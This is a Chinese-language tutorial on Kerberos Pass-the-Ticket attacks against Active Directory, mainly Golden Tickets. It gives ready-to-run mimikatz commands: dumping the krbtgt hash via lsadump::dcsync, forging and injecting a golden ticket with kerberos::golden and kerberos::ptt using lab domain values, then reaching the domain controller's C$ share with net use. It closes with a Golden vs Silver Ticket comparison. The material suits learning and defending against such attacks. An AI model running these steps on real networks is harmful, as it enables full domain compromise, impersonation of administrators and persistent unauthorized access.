目录
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。
关于Kerberos认证:Kerberos认证方式
现在我们有下面这种情况,域成员A获得了域中的 krbtgt 用户的 sid 值和哈希值,现在域成员A想利用票据传递攻击,访问域控服务器。
黄金票据
在认证过程中,客户端与KAS的通信会得到TGT认购权证,带着TGT认购权证向TGS请求,得到ST服务票据,用这个ST服务票据可以来访问应用服务器。域中每个用户的ST服务票据都是由krbtgt用户的密码Hash来计算生成的,因此只要我们拿到了krbtgt用户的密码Hash,就可以随意伪造ST服务票据,进而使用ST服务票据登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击(Pass the Ticket,PtT)。
在域中,存在的特殊用户,在域服务器上执行命令 net user 可以看到存在 krbtgt 用户。
要创建黄金票据,我们需要知道以下信息:
- 要伪造的域用户(这里我们一般填写域管理员账户)
- 域名
- 域的SID值(就是域成员SID值去掉最后的)
- krbtgt账号的哈希值
那么,我们如何知道krbtgt账号的SID值和哈希值呢?下面这个命令是在域控的服务器上运行
lsadump::dcsync /domain:xie.com /user:krbtgt
注意,这里我们要的是域的SID值,所以去掉最后的 502,如下SID为: S-1-5-21-2189311154-2766837956-1982445477
以下环境是在域成员A的 administrator 用户下进行,因为mimikatz需要administrator权限!
生成票据并导入
方法一:在mimikatz中生成黄金票据并导入
privilege::debug #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c /ptt #生成票据并导入
# kerberos::golden /user:要伪造的域用户(我们这一般写域控) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt
方法二:在mimikatz中先生成票据,再导入
#以上的命令是直接一步将生成的票据导入,我们也可以分两步
privilege::debug #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c #默认生成ticket.kirbi票据
kerberos:ptt ticket.kirbi #导入票据
查看票据
然后在我们域成员主机上的CMD窗口可以查看到该票据
也可以在mimikatz中查看该票据
验证是否成功
net use k: \WIN2008.xie.comc$ #将WIN2008的C盘映射到本地的K盘,注意这里格式只能是 主机名.域名 的形式,而不能写ip
我们也可以将该票据删除:
kerberos::purge #删除票据
kerberos::list #查看票据
黄金票据和白银票据的不同
访问权限不同:
- Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
- Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同:
- Golden Ticket由Kerberos的Hash加密
- Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
- Golden Ticket的利用过程需要访问域控,
- 而Silver Ticket不需要